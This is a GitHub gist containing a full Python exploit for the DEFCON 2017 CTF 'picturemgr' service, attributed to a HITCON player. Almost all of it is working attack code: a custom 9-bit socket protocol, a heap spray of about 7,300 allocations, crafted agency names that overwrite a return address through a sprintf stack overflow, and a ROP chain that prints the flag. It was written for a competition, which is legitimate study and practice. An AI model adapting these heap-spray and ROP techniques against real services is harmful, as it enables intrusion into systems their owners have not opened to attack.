Skip to content

Instantly share code, notes, and snippets.

@seanwupi
Last active August 16, 2017 08:14
Show Gist options
  • Save seanwupi/c4c3fe830803c000907d612fb8d41bdc to your computer and use it in GitHub Desktop.
Save seanwupi/c4c3fe830803c000907d612fb8d41bdc to your computer and use it in GitHub Desktop.
DEFCON 2017 CTF picturemgr sprintf Stack Overflow Exploit
#!/usr/bin/env python
# By Sean @ HITCON
import re
import socket
import sys
import string
import random
def Log(x):
sys.stderr.write(x+'\n')
pass
def Err(x):
sys.stderr.write(x+'\n')
sys.exit(-1)
class Conn:
def __init__(self, ip, port):
self.sock = socket.create_connection((ip, port))
self.bitstream = ''
def recv9bit(self):
while len(self.bitstream) < 9:
x = self.sock.recv(1)
if len(x) == 0:
raise socket.timeout
self.bitstream += '{:08b}'.format(ord(x))
x = int(self.bitstream[:9], 2)
self.bitstream = self.bitstream[9:]
return x
def reset_stream(self):
if '1' in self.bitstream:
Log('found non-zero bit in reset_stream')
self.bitstream = ''
def recvn(self, n):
s = []
while len(s) < n:
x = self.recv9bit()
s.append(x)
self.reset_stream()
return s
def send(self, x):
s = ''
for c in x:
s += '{:09b}'.format(c)
if len(s) % 8 != 0:
s += '0' * (8 - len(s) % 8)
s2 = ''
for i in range(0, len(s), 8):
s2 += chr(int(s[i:i+8], 2))
self.sock.send(s2)
def sendstr(self, x):
self.send(map(ord, x))
def recvstruntil(self, y):
s = ''
while True:
x = chr(self.recv9bit() & 0xff)
s += x
if y in s:
break
self.reset_stream()
return s
def p18(x):
return [(x >> 9) & 0x1ff, x & 0x1ff]
def p27(x):
return [(x >> 9) & 0x1ff, (x >> 18) & 0x1ff, x & 0x1ff]
# ip, port
c = Conn(sys.argv[1], sys.argv[2])
def addImage(descr, path, name):
c.sendstr('addImage(descr=%s,path=%s,name=%s)\n' % (descr, path, name))
x = c.recvstruntil('\n').strip()
if x[:8] != 'ImageID=':
Err('addImage fail: %s' % x)
return int(x[8:])
def delImage(imageid):
c.sendstr('delImage(imageID=%d)\n' % (imageid))
x = c.recvstruntil('\n').strip()
def addAgency(url, name):
c.sendstr('addAgency(url=%s,name=%s)\n' % (url, name))
x = c.recvstruntil('\n').strip()
if x[:9] != 'AgencyID=':
Err('addAgency fail: %s' % x)
return int(x[9:])
def addAgencyRaw(name):
s = map(ord, 'addAgency(url=1,name=') + name + map(ord, ')\n')
c.send(s)
x = c.recvstruntil('\n').strip()
if x[:9] != 'AgencyID=':
Err('addAgency fail: %s' % x)
return int(x[9:])
def submitImage(imageid, agencyid, price):
c.sendstr('submitImage(imageID=%d,agencyID=%d,price=%d)\n' % (imageid, agencyid, price))
x = c.recvstruntil('\n')
if 'submitted' not in x:
Err('submitImage error: %s\n' % x)
def infoImage(imageid, rop):
c.send(map(ord, ('infoImage(imageID=%d)' % imageid).ljust(31)) + rop + [ord('\n')])
# rop chain to printf flag
rop = [0, 0] + p27(0x3fffb1c) + p27(0x3fffb1c) + p27(0x4d1b) + p27(0x4010000) * 8
# overwrite RA to 0x1474 = (0xa, 0x0, 0x74) = 0x74 by agency1 + '\n\x00' by agency2
# R28 to 0x281400 = (0xa, 0xa, 0x0) = '\n\n\x00' by agency3
agency1 = addAgencyRaw([ord('\x74')] * 130)
agency2 = addAgencyRaw([ord('C')] * 77)
agency3 = addAgencyRaw([ord('D')] * 72)
# spray heap from 0xc400 and cover 0x281400
# 0281400: 1fd 0ff 11c 1ff 1ff 1ff 03f 000 05c 05c 05c 05c
# 0x3fff1bc 0x7ffffff ^^^^^^^ ^^^^^^^^^^^^^^^
# s1 s1 s1 sparychunk
spraychunk = (map(ord, 'addImage(descr=A,path=A,name=' + '\x5c' * 120 + ')\n'))
batchsz = 8
spraynum = 7318
s1 = (map(ord, 'addImage(descr=A,path=A,name=' + 'X' * 39) +
p27(0x3fffb1c) + p27(0x7ffffff) + [0x3f] +
map(ord, ')\n'))
for j in range(0, spraynum - spraynum % batchsz, batchsz):
ll = str(j)
c.send(spraychunk * batchsz)
for i in range(batchsz):
x = c.recvstruntil('\n').strip()
ll += ' ' + x
ix = int(x[8:])
Log(ll)
for i in range(spraynum - spraynum % batchsz, spraynum):
c.send(spraychunk)
x = c.recvstruntil('\n').strip()
Log(str(i) + ' ' + x)
ix = int(x[8:])
# construct a 0-byte (string ending null-byte) by deleting last chunk and adding a smaller new one
delImage(ix)
c.send(s1)
x = c.recvstruntil('\n').strip()
Log(x)
image = addImage('A', 'B', 'C')
submitImage(image, agency1, 1000)
submitImage(image, agency2, 1000)
submitImage(image, agency3, 1000)
# sprintf stack overflow at 8a15 and return at 8a81
# 8a81 (R28=heap:281400) -> 1474 -> 147d (R28=ST=3fffb1c=rop/args) -> printf+3
infoImage(image, rop)
for i in range(30):
try:
xx = c.recvstruntil('\n').strip()
print xx
except socket.timeout:
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment